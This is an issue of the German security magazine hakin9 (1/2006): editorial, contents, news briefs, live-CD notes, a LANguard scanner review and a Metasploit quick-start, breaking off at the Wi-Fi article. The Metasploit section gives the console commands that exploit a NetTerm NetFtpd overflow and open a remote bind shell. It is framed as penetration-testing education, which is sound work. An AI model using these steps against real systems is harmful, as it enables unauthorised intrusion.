Kurznachrichten
06
Marek Bettman/ Tomasz Nowak
Wir bringen eine Handvoll interessanter Nachrichten aus der Welt der Sicherheit von IT-Systemen.
Schlussredakteur: Tomasz Nidecki
CD-Inhalt
Schweizer Käse in Alufolie
Vor kurzem hat ein interessanter Thread in der Full-Disclosure Mailingliste meine Aufmerksamkeit erregt. Es war eine lebhafte Diskussion über die ethischen Aspekte öffentlicher Bekanntgabe von Sicherheitslecks. Das diskutierte Szenario war folgend: Ein Pentester hat sich mit einem Softwarehersteller in Verbindung gesetzt und ihn informiert, dass er in seinem Produkt ein Leck aufgespürt hat. Der Hersteller reagiert mit hohem Adrenalinpegel, nicht aber weil sich die Firma so freut, dass ihr jemand helfen will, sondern... weil ihr der Fehler seit langem bekannt war und sie nicht wollte, dass das Wissen an die Öffentlichkeit kommt. Wenn man sich solche Fälle überlegt, ergibt sich manchmal automatisch die Frage, über wie viele Lücken in unserer Software große kommerzielle Hersteller sehr gut Bescheid wissen und sie nur verdecken statt zu schließen. Man muss auch darüber nachdenken, ob diese Lücken rein zufällig entstanden sind oder vielleicht als Spyware (siehe Seite 66) vom Hersteller gerade gedacht waren? Vielleicht schreite ich hier Richtung Paranoia, haben Sie sich das aber nie gefragt? Das Vorgehen, wo aufgespürte Schwachstellen verdeckt und den Kunden höchster Sicherheitsstandard versprochen wird, während das Produkt im Grunde genommen einem Stück in Alufolie gewickelten Schweizer Käse ähnelt (äußerlich sieht es neu aus und glänzt, während es drin stinkt und voll Löcher ist), ist für große Softwarehersteller, wie Microsoft (siehe Seite 36) oder Oracle (siehe Seite 28) nichts Neues. Warum sollten wir also vor der Bekanntgabe von Sicherheitslücken scheuen, wenn Unternehmen nicht vor dem Belügen ihrer Kunden zurückschrecken? Nun, es gibt einen Grund, der aber nichts mit der Sorge über die lügnerischen Softwarehersteller zu tun hat, sondern mit der Sorge über ihre Kunden. Wenn eine Schwachstelle in einer Software bekannt gegeben wird, werden ihre Nutzer potenziellen Angriffen ausgesetzt. Andererseits, was passiert, wenn das Leck verheimlicht bleibt? Die Anwender würden sowieso angegriffen (von denen, die über die Lücke Bescheid wissen), würden es jedoch wahrscheinlich nie herausfinden (da die Information nicht bekannt gegeben worden ist) und der Fehler würde nie vom Hersteller korrigiert werden (wozu denn auch...?). Was ist das Schlimmste? Daher bin ich hundertprozentig für die Idee kompletter Bekanntgabe. Diese Meinung hat auch unser Magazin, und diese Ausgabe beweist das abermals. Tomasz Nidecki
[email protected] 4
hakin9 Nr. 1/2006
08
Jadwiga Rzepecka-Makara
Wir präsentieren den Inhalt und die Arbeitsweise der aktuellen Version unserer Paradedistribution – hakin9.live.
Tools GFI LANguard Network Security Scanner
10
Tomasz Nidecki
Wir untersuchen die Sicherheit eines LokalnetzSerwers mit einem der populärsten Ntetzwerkscanner.
Metasploit Framework
11
Carlos García Prado
Wir zeigen, wie ein einfacher Penetrationstest verdächtigter Software mit dem Metasploit Framework durchgeführt werden kann.
Thema der Ausgabe Wi-Fi-Sicherheit – WEP, WPA und WPA2
12
Guillaume Lehembre
Wir stellen die Schwachstellen der Verschlüsselungsmethoden in drahtlosen Verbindungen vor. Die Arbeitsprinzipien von WPA und WPA2 werden ausführlich besprochen. Wir zeigen auch, wie die Sicherheitsmechanismen von WEP, WPA und WPA2 durchdrungen werden können.
Fokus Oracle Rootkits Alexander Kornbrust
28
Wir erklären das Rootkit-Konzept im Datenbankkontext. Wir zeigen, wie ein Oracle-Rootkit ohne großen Aufwand geschrieben werden kann und präsentieren Abwehrmaßnahmen gegen Datenbank-Rootkits sowie potenzielle Entwicklungsrichtungen dieser Angriffsmethoden.
www.hakin9.org
Windows Server 2003-Sicherheit
36
Rudra Kamal Sinha Roy
Wir nehmen die Sicherheit des Windows Server 2003 System unter die Lupe. Es wird das Umgehen der von Microsoft zum besseren Schutz der Benutzer eingeführten Mechanismen und Methoden präsentiert. Wir weisen auch auf einige Möglichkeiten hin um, die Sicherheit eines Windows Server 2003 Systems zu verbessern.
Praxis Ein IPS-System auf Basis von Snort
48
Michał Piotrowski
Wie zeigen, wie aus einem simplen Rechner, drei Netzwerkkarten und dem kostenlosen Programm Snort ein effektives Intrusion Prevention System (IPS) entstehen kann. Die Installation und Konfiguration solch eines Systems werden besprochen.
Technik Umgehung von Netzwerkfirewalls
54
Oliver Karow
Wir beschreiben die Methoden, Firewalls umzugehen, und wie sie praktisch umgesetzt werden können. Wir zeigen auch, wie Firewalls einzurichten sind, damit solche Angriffe abgewehrt werden können.
SpywareAnsteckungsmethoden
66
Christiaan Beek
Wir besprechen die Art und Weise, wie WindowsSysteme mit Spyware infiziert werden. Wir zeigen, wie Sie sich von der Gefahr schützen und die unerwünschten Programme loswerden können, wenn Spywareentfernungstools nicht mehr weiter wissen.
Editorial – Dumme Ideen bei der Computersicherheit
Wollen Sie eine Verkaufslizenz auf Verkauf unserer Magazin erwerben, kontaktieren Sie bitte: Monika Godlewska e-mail:
[email protected] tel.: +48 22 887 12 66 fax: +48 22 887 10 11 Vertrieb in Deutschland: IPS Pressevertrieb GmbH Postfach 12 11 D-53340 Meckenheim Die Redaktion bemüht sich, dafür Sorge zu tragen, dass die in der Zeitschrift sowie auf den begleitenden Datenträgern enthaltenen Informationen und Anwendungen zutreffend und funktionsfähig sind, übernimmt jedoch keinerlei Gewähr für deren Geeignetheit für bestimmte Verwendungszwecke. Alle Markenzeichen, Logos und Handelsmarken, die sich in der Zeitschrift befinden, sind registrierte oder nicht-registrierte Markenzeichen der jeweilgen Eigentümer und dienen nur als inhaltliche Ergänzugen. Die Redaktion bietet kein Support bei der Installation bzw. Nutzung der auf der begleitenden CD zur Zeitschrift enthaltenen Software. Anmerkung! Der Verkauf von aktuellen Magazinen sowie von Archivausgaben zu einem anderen Preis, als der auf dem Umschlag abgedruckte, ist ohne Genehmigung des Herausgebers verboten und wird strafrechtlich verfolgt. Die Redaktion benutzt das automatische Satzsystem von Zur Erstellung der Diagramme wurde das Programm von der Firma verwendet. Die dem Magazin beigefügte CD wurde mit dem Programm AntiViren Kit von der Firma G DATA Software Sp. z o.o. getestet. Druck: 101 Studio, Firma Tęgi hakin9 erscheint in folgenden Sprachversionen und Ländern: deutsche Version (Deutschland, Schweiz, Österreich, Luxemburg), französische Version (Frankreich, Kanada, Belgien, Marokko), spanische Version (Spanien, Portugal), italienische Version (Italien), tschechische Version (Tschechien, Slovakei), polnische Version (Polen), englische Version (Kanada, USA) hakin9 -Magazin wird in 7 Sprachversionen veröffentlicht:
80
Stephano Zanero
Die blödesten Ideen in der IT-Sicherheitsbranche.
Ankündigen
wird von Software-Wydawnictwo Sp. z o.o. herausgegeben Anschrift: Software-Wydawnictwo Sp. z o.o., ul. Piaskowa 3, 01-067 Warschau, Polen Tel. +48 22 887 10 10, Fax +48 22 887 10 11 www.hakin9.org Chefredakteur: Jarosław Szumski Produktion: Marta Kurpiewska
[email protected] Vertrieb: Monika Godlewska
[email protected] Product Manager: Jadwiga Rzepecka-Makara
[email protected] Schlussredakteur: Tomasz Nidecki
[email protected] Vorbereitung der CD: Robert Główczyński, Wojciech Trynkowski Satz: Anna Osiecka
[email protected] Übersetzung: Matthias Hannich, Magdalena Kaczmarek, Tomasz Sieniuć Korrektur: Oliver Koen, Stephan Radke, Andreas Raber, Marek Kreul Werbung:
[email protected] Abo:
[email protected] Tel. +48 22 887 14 57 Umschlagsentwurf: Agnieszka Marchocka Wenn Sie mit uns zusammenarbeiten wollen:
[email protected] 82
Jadwiga Rzepecka-Makara
Wir blicken vor auf die Artikel in der nächsten Ausgabe unseres Magazins.
DE
PL
CZ
IT
FR
ES
EN
Anmerkung
Die in der Zeitschrift demonstrierten Techniken sind AUSSCHLIESSLICH in eigenen Rechnernetzen zu testen! Die Redaktion übernimmt keine Haftung für eventuelle Schäden oder Konsequenzen, die aus der unangemessenen Anwendung der beschriebenen Techniken entstehen. Die Anwendung der dargestellten Techniken kann auch zum Datenverlust führen! Wir bedanken uns herzlich bei den Betatestern: Oliver Koen, Rene Heinzl, Peter Wilfahrt, Marek Kreul, Sascha Hess, Andreas Männer
www.hakin9.org
hakin9 Nr. 1/2006
5
Kurznachrichten
Kinderhandel im Auktionsportal
Die chinesische Polizei ermittelt wegen der Hinweise auf Kinderhandel über ein Auktionsportal Eachnet, das zu eBay gehört. Mithilfe des Portals wurden Jungs für 28000 Yuan (3450 USD) und Mädchen für 13000 Yuan (1603 USD) angeboten. Es ist zwar möglich, dass die Auktion ein Scherz war – nichtsdestotrotz wurde sie von der Polizei ernst genommen, da der Kinderhandel in China zu einem immer größeren Problem wird. Die kommunistische Politik, die für den Besitz jedes weiteren Kindes in der Familie hohe Geldstrafen eingeführt hat und die Tradition, die die männlichen Nachkommen höher schätzt, haben bewirkt, dass Kinder auf dem Schwarzmarkt verkauft werden. Die Gerichte haben bereits einige Täter zu Todesstrafe verurteilt. Auf der genannten Auktion hat ein User namens Chuangxinzhe Yongyuan mitgeteilt, dass die Kinder 100 Tage nach Geburt geliefert werden. Alle Kinder sollten aus der Provinz Henan in Mittelchina stammen. Bevor man die Auktion entfernt hat, wurde sie bereits von 50 Personen besucht. Eine von ihnen hat sogar dem Verkäufer eine Frage gestellt.
Ein zufälliger Computereinbrecher?
Ein Londoner namens Daniel Cuthbert wurde schuldig gesprochen, nachdem es Hinweise gab, dass er als Unbefugter einen Zugang zum System erhalten hat. Es ging um einen Zugang zum Server, der eine Seite hostet, mit deren Hilfe Geldbeträge für Opfer von Tsunami in Asien überwiesen werden konnten. Cuthbert muss nun 1000 Pfund Bußgeld zahlen, wobei der Ankläger eine viel höhere Geldstrafe verlangt hat. Es wäre an der Geschichte nichts seltsames wenn nicht die Tatsache, dass Cuthbert den Zugang erlangt hat, nachdem er im Browser lediglich ../../../ am Ende der Adresse hinzugefügt hat. Vor dem Gericht hat er erklärt, dass er auf diese Art und Weise prüfen wollte, ob er mit einer gephischten zu tun hat. Außerdem sprach für ihn die Tatsache, dass er im Server, den er angeblich angegriffen hat, keine Schäden angerichtet hat.
6
hakin9 Nr. 1/2006
Windows Vista
E
in Grund, warum die Arbeiten an Windows Vista nicht abgeschlossen werden können ist die Sicherheit, die im neuen Betriebssystem von Microsoft eine Schlüsselrolle spielen sollte. Dies teilte Neil Holloway mit, der in Microsoft für die EMEA-Region (West- und Osteuropa, Naher Osten, Afrika) zuständig ist. Darüber hinaus hat Holloway interessante Änderungen in der Firma angekündigt. Der Geschäftsführer gab zu, dass Microsoft in letzter Zeit einige Deadlines verpasst hat, nichtsdestotrotz die Waffen nicht niederlegen möchte. Die Redmonder haben neulich (zum zweiten Mal in der Geschichte des Konzerns) Hacker eingeladen, um mit ihnen über die Sicherheit von Microsoft-Produkten zu diskutieren. Die Firma wurde von einigen Profis besucht, die früher an der Black Hat Konferenz teilgenommen haben, in der u.a. der neue Web-Browser von Microsoft, Internet Explorer 7, besprochen wurde. Die ethischen Hacker haben sich mit Microsoft-Ingenieuren getroffen und beinahe über alles diskutiert, von der Sicherheit des Web-Browsers bis zu sicherheitsrelevanten Aspekten von Hardware.
Bald werden wir in der Lage sein, die Ergebnisse dieser Zusammenarbeit zu erfahren. Die bisherigen Ankündigungen von Holloway haben eher an die Entschuldigungen der katholischen Kirche für Inquisition erinnert – es gab Beteuerungen, dass die Firma die Kritik wahrnimmt und entsprechende Änderungen vornimmt. Holloway hat gebeten, seine Firma nicht als allzu rückständig und bürokratisch zu diffamieren. Im kommenden Jahr gibt Microsoft doppelt so viel Software heraus als in den letzten drei Jahren zusammen. Ein solches Ergebnis ist nur auf eine intensive Zusammenarbeit mit kleinen Firmen zurückzuführen. Microsoft teilte mit, dass der Konzern mit ca. 100 Tsd. Softwareliefernaten kooperiert. Anständige Umsätze sollen außerdem jene 6 Milliarden USDollar bringen, die in Forschung und Entwicklung investiert wurden, als auch die berühmten 3 Tsd. Patente, die von Holloway als superwichtig bezeichnet wurden. Er hat aber nicht gesagt, ob sie für die Entwicklung der Software oder für den Kampf gegen Konkurrenz wichtig sind…
Also doch immer mehr Botnets
E
s gibt neue Beweise im Verfahren gegen drei Niederländer, die wegen des Baus eines weltumspannenden Netzwerks von Zombie-Rechnern festgenommen wurden. Die Beweise deuten darauf hin, dass ein von ihnen kontrolliertes Botnet nicht, einhundert Tausend, sondern eineinhalb Millionen Rechner umfassen konnte. Die Festgenommenen Männer sollen die Rechner, die mit dem Trojaner Toxbot infiziert wurden, zum Klauen von Kreditkartennummern und zur Erpressung von Firmen gemacht haben. Die Schätzungen über die Anzahl von Zombie-Rechnern wurden von der Staatsanwaltschaft mitgeteilt. Wim de Bruin, der Pressesprecher der niederländischen Staats-
www.hakin9.org
anwaltschaft, sagte, dass diese Information die Höhe der Strafe sicherlich beeinflussen wird. Es gibt einen Unterschied, ob man in einem Haus die Fenster einschlägt oder in der ganzen Straße – sagte Bruin. Darüber hinaus geht man von weiteren Festnahmen aus, die mit diesem Verfahren verbunden sind. Die Botnets, die Netzwerke von infizierten Rechnern, stellen zur Zeit eine der größten Gefahren im Internet dar. Zumal sie von der Cybermafia auf verschiedene Art und Weise angewandt werden – vom Abschicken von Spam bis zur Durchführung von Massenangriffen auf Server. Oft werden die so infizierten Netzwerke an Dritte vermietet.
Kurznachrichten
IT Underground
V
on 12. bis 13. Oktober 2005 fand in Warschau die dritte Konferenz IT Underground statt. Auf der Konferenz waren Teilnehmer aus der ganzen Welt anwesend (aus Schweden, Belgien, Deutschland, Singapur und Polen). Vierzehn Referenten – Profis aus Deutschland, Österreich, Israel, Polen, Italien und den Vereinigten Staaten – haben ihre Vorträge gehalten. Insgesamt fanden 13 Workshops (die Vorträge fanden parallel statt) und zwei zusätzliche Workshops statt. Die Konferenz begann mit dem Vortag eines Spezialgasts, Ofir Arkin. Arkin hat über Einschränkungen von traditionellen Methoden der Erkennung von Netzwerkinfrastruktur gesprochen und hat bessere Lösungen vorgestellt. Nach der Meinung der Teilnehmer war der Vortrag von Tomasz Nidecki über Spam an diesem Tag eine der interessantesten Präsentationen. Der Vortrag war insofern interessant, als der Autor praktische Anwendungsbeispiele vorgestellt hat. Für die Teilnehmer der ITU wurden Workshops veranstaltet. Der erste von ihnen, gehalten von Michał Szymański, behandelte WindowsRootkits, die im User-Modus funk-
tionieren. Die Übungen wurden im Sinne der BYOL-Methode (bring your own laptop) von den Teilnehmern auf den mitgebrachten Laptops durchgeführt. Auf dem zweiten Workshop, der von Piotr Sobolewski moderiert wurde, konnte man alles über die Risiken erfahren, die mit Fortmatzeichenketten verbunden sind. Der Hammer des zweiten Tages war ein Vortrag über die Sicherheit von Bluetooth. Diesen anzuschauen war sehr spannend – es gab Handys, die von alleine telefonieren und SMS abschicken. Außerdem wurden das Herunterladen von Adressbüchern und andere Tricks besprochen. Auf Wiedersehen im Februar in Prag, auf der fünften Konferenz IT Underground!
DVD Jon spielt Oboe
J
on Lech Johansen, ein norwegischer Profi, der alles knackt, was es noch an Sicherungen gibt, bekam eine Stelle in der Firma MP3tunes, die Michael Robertson gehört (der Besitzer der Firma Linspire). Die Aufgabe von DVD Jon wird das Führen der digitalen Musik ins XXI Jahrhundert sein – so Robertson. Wegen seines neuen Jobs als Softwareingenieur musste Johansen nach San Diego in Kalifornien umziehen. Der Norwege wird sich dort mit der Entwicklung einer neuen Multimediasoftware mit dem Codenamen Oboe beschäftigen. Es handelt sich hierbei wahrscheinlich um ein Client-Programm für ein Musikportal. An dieser Stelle sollte man erwähnen, dass Michael Robertson sich seit langem mit dem Vertrieb von Musik im
Internet befasst; er war u.a. Autor des Musikportals MP3.com, das er dem Konzern Vivendi Universal verkauft hat. Außerdem investierte Robertson in die Firma Lindows, die später in Linspire umbenannt wurde, die ein Betriebssystem geschaffen hat, das an Linux angelehnt ist. Der Norwege DVD Jon hat sich in der Vergangenheit durch die Entwicklung des Programms DeCSS ausgezeichnet, welches CSSSicherungen auf DVDs entfernte. Er wurde deswegen vor das Gericht gebracht, welches jedoch – nach einigen Berufungen – über seine Unschuld entschieden hat. Danach hat Johansen noch geschafft, die Sicherungen in Dateien zu knacken, die im Internetshop iTunes verkauft wurden. Außerdem hat er das Protokoll AirTunes geknackt.
www.hakin9.org
Dein Drucker beobachtet Dich
Kann man ein Gerät identifizieren, mit dessen Hilfe ein Dokument gedruckt wurde? Electronic Frontier Foundation gab bekannt, dass die meisten Farblaserdrucker auf jeder Seite einen unsichtbare Strichcode drucken, der Informationen über das Gerät und das Datum des Ausdrucks enthält. Die Stiftung beschäftigt sich mit dem Wahrnehmen der Privatsphäre von Konsumenten durch Hersteller von Computerhardware. Sie hat bereits die Ausdrucke von einigen Geräten untersucht – bisher ist es gelungen, lediglich den Code von Farbdruckern der Firma Xerox zu knacken. Die Information bestand aus gelben Punkten mit einer Durchmesser von unter 1 mm, die erst unter der Luppe und nach dem Beleuchten mit blauem Licht sichtbar sind. Eine Liste von Druckern, die einen Code in Form von gelben Punkten drucken, befindet sich auf der Homepage von Electronic Frontier Foundation. Nach der Meinung der Organisation können auch andere Geräte – die in der Liste nicht vorhanden sind – Kennzeichnungen (z.B. in Form von Wasserzeichen) hinterlassen, die im nachhinein die verwendete Hardware identifizieren lassen. Man darf an dieser Stelle daran erinnern, dass einige Hersteller von Farbleserdruckern durch die US-Regierung zum Installieren von solchen Sicherungen gezwungen wurden. Diese sollen der Regierung helfe, den Geldfälschern auf die Schliche zu kommen.
Das Ende von Cracker -Anonymität
Nach einem fast zweijährigen Kampf gegen die Veröffentlichung von Crackeridentität, wurden Personaldaten eines Assistenten an der Universität Dunedin (Otago, Australien) bekannt gegeben, der in die IT-Systeme von US-Firmen eingedrungen ist. Der 38jährige Timothy Molteno ist die erste Person, die nach dem neuen Gesetz gegen Computerkriminalität verurteilt wurde. Er wurde bereits vor 20 Monaten schuldig gesprochen, allerdings gab es Kontroversen darüber, ob seine Personaldaten bekannt gegeben werden dürfen.
hakin9 Nr. 1/2006
7
hakin9.live
CD-Inhalt
A
uf der beiliegenden CD befindet sich hakin9.live (h9l) in der Version 2.8-ng – eine bootfähige LinuxDistribution, die nützliche Tools, Dokumentation, Tutorials und Zusatzmaterial beinhaltet. Um mit hakin9.live arbeiten zu können, sollen Sie Ihren Rechner von der CD starten. Nach dem Starten des Systems können Sie sich als Benutzer hakin9 (ohne Passwort) einloggen. Ab dieser Version kann h9l auf der Festplatte installiert werden. Das Zusatzmaterial befindet sich in folgenden Verzeichnissen: • •
• • •
• •
doc – Dokumentation in HTML-Format; hit – der absolute Hammer dieser Ausgabe: GFI LANguard Network Security Scanner, einer der bekanntesten Sicherheitsscanner; eine Vollversion für hakin9-Leser (bis zu 5 IP-Adressen); die Seriennummer ist auf der folgenden Seite verfügbar: http://www.gfi.com/pages/ hakin9offer.htm; art – Zusatzmaterial zu Artikeln: Listings, Skripts, benötigte Programme; tut – Tutorials; add – Bücher und andere Dokumente im PDF-Format (u.a.: Firewall Piercing. Creative Exploitation of Valid Internet Protocols, Firewall Piercing mini HOWTO; Datenbank Rootkits, Circumvent Oracle's Database); adv – Werbematerial (Core Impact – Rapid Penetration Test – flash demo); rfc – ein Paket von aktuellen RFC-Dokumenten.
Das Archivmaterial befindet sich in Unterverzeichnissen _arch und das neue Material in den Hauptverzeichnissen (es gilt die oben angegeben Struktur). Beim Durchsuchen der CD von der gestarteten Distribution hakin9.live aus ist diese Struktur im Unterverzeichnis /mnt/cdrom verfügbar. Die Version 2.8-ng h9l entstand in Anlehnung an die Distribution Gentoo Linux und die Skripte livecd-tools. Die Werkzeuge, die in Gentoo-Repository nicht verfüg-
Abbildung 1. Immer mehr nützliche Werkzeuge
8
hakin9 Nr. 1/2006
bar sind, werden aus Paketen installiert, die sich im Verzeichnis /usr/local/portage oder /usr/local/bin befinden. Im Vergleich zu h9l 2.7-ng haben wir die Kernel-Version geändert (zur Zeit 2.6.13.3 mit Patches gentoo-sources2.6.13-r3). Außerdem haben wir VLAN-Unterstützung und ATM- und DSL-Treiber, als auch Treiber für WinModems (ltmodem, slmodem, intel536) hinzugefügt. Die grafische Umgebung Xfce 4 wurde entfernt, statische Bibliotheken sind dagegen geblieben. Das System enthält ein Installationsprogramm (eine modifizierte Version der Skripte von Knoppix).Nach der Installation auf der Festplatte kann man Portage (Befehl emerge) verwenden, um zusätzliche Software zu installieren. Die grafische Umgebung von h9l ist Fluxbox mit dem Dateimanager ROX. In der aktuellen Version von h9l sind u.a. folgende Programme erschienen: • • •
VConfig – Konfiguration eines VLAN-Netzwerks (Virtual LAN); qtwvdialer – eine grafische Schnittstelle zu wvdial; dd_rescue – ein Programm zur Wiederherstellung von Daten aus beschädigten Laufwerken.
Tutorials und Dokumentation
Die Dokumentation enthält u.a. die von der Redaktion vorbereiteten Tutorials, die praktische Übungen beinhalten. In den Tutorials wird davon ausgegangen, dass Sie hakin9.live verwenden. Dadurch vermeiden Sie Probleme mit verschiedenen Compilerversionen, unterschiedlichen Lokalisationen von Konfigurationsdateien oder Optionen, die zum Starten des Programms in einer bestimmten Umgebung erforderlich sind. Der aktuellen Version von hakin9.live wurde außer den aktualisierten Tutorials aus früheren Ausgaben ein neues Tutorial hinzugefügt. Es beschreibt das Erstellen eines eigenen IPS in Anlehnung an das Programm Snort. Das Tutorial ist eine Ergänzung zum Artikel von Michał Piotrowski Ein IPS-System auf Basis von Snort (siehe Seite 48). l
Abbildung 2. Der absolute Hammer dieser Ausgabe: GFI LANguard Network Security Scanner
www.hakin9.org
GFI LANguard Network Security Scanner
Tools
System: Windows Lizenz: Kommerziell/Freeware (je nach Version) Zweck: Scannen und Sicherheitsevaluation Homepage: http://www.gfi.com/ Mithilfe von GFI LANguard Network Security Scanner können wir einen oder mehrere Rechner in einem Netzwerk scannen. Als Ergebnis erhalten wir Informationen über die Sicherheit und Schwachstellen unseres Rechners bzw. Netzwerks.
Schneller Start: Angenommen, wir möchten wissen, wie sicher ein Rechner in unserem Netzwerk, welcher als Server fugiert, ist. Zu diesem Zweck starten wir LANguard (ich gehe davon aus, dass Sie das Tool bereits installiert haben) und klicken in der oberen Programmleiste auf New Scan. Wir wählen in der Liste Scan Type die Option Single computer. Möchten wir mehrere Rechner gleichzeitig scannen, können wir selbstverständlich eine andere Optionen wählen (z.B. eine Liste von Rechnern, Adressenbereich, Domäne). Wir markieren Another Computer und geben die IP-Adresse der zu scannenden Maschine an. Anschließend wählen wir ein Scannprofil. LANguard bietet einige grundlegende Profile – es lässt aber auch das Erstellen von eigenen Profilen zu. Die Typen von Tests, aus denen ein Profil besteht, können durch das Anklicken von Configuration->Scanning Profiles im Fenster Tools Explorer angezeigt werden. Es empfiehlt sich jedoch bei der ersten Untersuchung das DefaultProfil anzuwenden (Default). Testen wir Rechner, die sich außerhalb eines lokalen Netzwerks befinden, können wir das Profil Slow Networks, welches größere Verzögerungen bei der Verbindung zulässt, verwenden. Nachdem wir das Profil gewählt haben (in unserem Fall Default) klicken wir auf OK und warten bis LANguard den Scannvorgang abgeschlossen hat. Im Fenster Scanner Activity Window finden wir kurze Beschreibungen der auszuführenden Tätigkeiten. Nachdem der Scannvorgang abgeschlossen wurde, klicken wir im Fenster Scanned Computers auf das Zeichen +, das sich neben dem Symbol und der Adresse des Rechners befindet. Daraufhin werden einige Optionen angezeigt, deren
Anzahl vom gewählten Profil und Untersuchungsergebnissen abgängig ist. Klicken wir im Fenster Scan Results auf Vulnerabilities, so wird im Fenster Scan Results eine Liste von Fehlern angezeigt, die als sehr gefährlich (High security vulnerabilities), gefährlich (Medium...) oder wenig gefährlich (Low...) eingestuft wurden. Außer einer kurzen Beschreibung des Fehlers erhalten wir ein Kennzeichen aus der Liste Bugtraq oder einen Link, der auf eine Seite hinweist, wo dieser Fehler beschrieben wurde. Nachdem wir im Fenster Scanned Computers das Icon Open TCP Ports angeklickt haben, erhalten wir die Liste offener TCP-Ports samt Informationen über die auf ihnen laufende Software (diese Informationen werden von LANguard bereitgestellt). Wie Sie sehen können verfügt LANguard auch über Mechanismen zum Fingerprinting (der Name des erkannten Betriebssystems befindet sich im Fenster Scanned Computers neben der Adresse der Maschine). Klicken wir doppelt auf die Nummer eines Ports im Fenster Scan Results, wird zu diesem Port automatisch eine Telnet-Verbindung aufgebaut. Wir können die Untersuchungsberichte lesen und im HTML-Format speichern (diese Funktion ist nur in der kommerziellen Version des Programms verfügbar), indem wir im Fenster Tools Explorer in der Liste Scan Filters (Current Scan) die entsprechende Option anklicken. Anschließend klicken wir ein Diskettensymbol in der oberen Leiste des Programms an. Nachteile: Die meisten fortgeschrittenen Optionen (wie automatisches Scannen und Erstellen von Berichten) sind nur in der kommerziellen Version verfügbar. In der Testversion werden diese Optionen nach 30 Tagen seit der Installation des Programms deaktiviert. Danach kann LANguard weiterhin auf der Freeware-Lizenz verwendet werden. Tomasz Nidecki
ACHTUNG!
Abbildung 1. Liste von Fehlern, die im Scannvorgang gefunden wurden
10
hakin9 Nr. 1/2006
Die Firma GFI stellt allen hakin9 -Lesern eine vollständige Version des Programm mit einer Einschränkung bis zu 5 IP-Adressen zur Verfügung. Um diese zu verwenden, sollte man die Version des Programms installieren, die sich auf hakin9.live befindet und sich anschließend auf der Homepage des Herstellers (http://www.gfi.com/pages/hakin9offer.htm) anmelden, um einen Zugangscode zu bekommen. Das Angebot ist bis 31. März 2006 gültig.
www.hakin9.org
Tools
Metasploit Framework System: Windows, Linux, Mac OS X, Solaris, FreeBSD Lizenz: GPL v2 Zweck: Entwicklungsumgebung zur Durchführung von Penetrationsversuchen und Erstellen von Exploits Homepage: http://www.metasploit.com Metasploit ist eine Entwicklungsumgebung, die sich an alle Penetrationstester und Personen richtet, die sich mit dem Thema Netzwerksicherheit beschäftigen. Sie beinhaltet eine komplette Bibliothek von vorgefertigten Exploits sowieWerkzeuge zum Erstellen von neuen Exploits.
Schneller Start: Angenommen, die Geräte in unserem Netzwerk verwenden den FTP-Server NetTerm NetFtpd, der unter dem Betriebssystem Windows 2000 arbeitet. Wir wissen, dass die früheren Versionen dieses Servers für Angriffe anfällig waren. Nun möchten wir unsere Installation hinsichtlich ihrer Sicherheit überprüfen. Zu diesem Zweck verwenden wir msfconsole aus Metasploit Framework. Metasploit kann die benötigten Parameter in Umgebungsvariablen speichern. Es genügt, die Werte von einigen Parametern anzugeben, um einen Exploit zu verwenden. Wir beginnen mit der Wahl des Exploits, den wir verwenden möchten. Das Kommando show exploits zeigt die Liste der verfügbaren Exploits an. Anschließend laden wir mithilfe des Befehls use netterm _ netftpd _ user _ overflow einen Exploit, der einen Pufferüberlauf des Servers bewirkt. Wir können feststellen, dass die Eingabeaufforderung geändert wurde. Anschließend geben wir die Adresse des Hosts an, der getestet werden soll, indem wir die Umgebungsvariable mithilfe des Kommandos set RHOST 10.0.0.1 setzen. Wir müssen beachten, dass die Umgebungsvariablen groß geschrieben werden müssen. Wir können mit dem Kommando set RPORT 21 den Port des entfernten Hosts festlegen. Obwohl dies überflüssig scheinen mag, ist es an dieser Stelle angebracht, da wir einen FTP-Dienst angreifen, der auf einem bekannten Port läuft. Darüber hinaus sollten wir beachten, dass die Modularität von Metasploit das Zusammenfügen von zwei verschiedenen Payloads im Rahmen eines Exploits ermöglicht. Dank dieser Eigenschaft können wir leicht einen Exploit finden, der unseren Bedürfnissen entspricht. Die Liste von Payloads steht uns nach der Eingabe des Befehls show payloads zur Verfügung. In unserem Fall verwenden wir win32 _ bind , der uns mit einer Remote-Shell auf dem definierten Port – in diesem Fall 4444 – verbindet. Dies können wir mithilfe des Kommandos set PAYLOAD win32 _ bind erreichen. Nun können wir den Exploit mit dem Kommando exploit starten. In Abbildung 1 ist ersichtlich, dass der Angriff gelungen istund wir einen Zugang auf die Shell des Windows-Systems auf dem entfernten Host bekommen haben. Wir können einen beliebigen Befehl mit den
www.hakin9.org
Rechten des Users, der die Applikation gestartet hat, ausführen – im Falle des Systems Windows sind das oft Administratorrechte. Der Eigentümer sollte darauf hingewiesen werden, dass er die FTP-Software aktualisieren oder ersetzen soll. Andere nützliche Merkmale: Metasploit ist auch eine wichtige Plattform zur Entwicklung von Exploits und Shellcodes. Es beinhaltet viele Werkzeuge zur Analyse von ausführbaren Dateien, sowohl im ELF-Format (Linux) als auch im PE-Format (Windows). Darüber hinaus stellt das Tool andere Werkzeuge zur Verfügung, die zum Aufzeichnen von Speichersnapshots dienen. Anschließend kann der Speicher im Hinblick auf Instruktionen und Adressen durchsucht werden. Eine große Erleichterung für Anfänger ist die benutzerfreundliche WWW-Schnittstelle von Metasploit. Nachdem wir das Programm msfweb gestartet haben, können wir auf diese Schnittstelle über die Adresse http:// localhost:55555 zugreifen. Sie stellt die gleichen Funktionen, wie die Textschnittstelle zur Verfügung, ist aber leichter zu bedienen. Die Aktualisierung der Bibliothek von Exploits ist denkbar einfach – hierbei genügt ein einziger Befehl. Nachteile: Die WWW-Schnittstelle dient ausschließlich zum Ausführen von Exploits. Andere Funktionen von Metasploit Framework sind nur von der Konsole aus verfügbar. Carlos García Prado
Abbildung 1. Ausführen eines Exploits
hakin9 Nr. 1/2006
11
Wi-Fi-Sicherheit – WEP, WPA und WPA2 Thema der Ausgabe Guillaume Lehembre
Schwierigkeitsgrad
Wi-Fi (Wireless Fidelity) ist eine der heute führenden drahtlosen Technologien, wobei Wi-Fi-Unterstützung in immer mehr Geräte integriert wird: Laptops, PDAs, Handys. Jedoch bleibt ein Konfigurationsaspekt all zu oft unbeachtet: Sicherheit. Werfen wir einmal einen näheren Blick auf das Sicherheitslevel von Verschlüsselungsmethoden, die in modernen Wi-Fi-Implementationen benutzt werden.
S
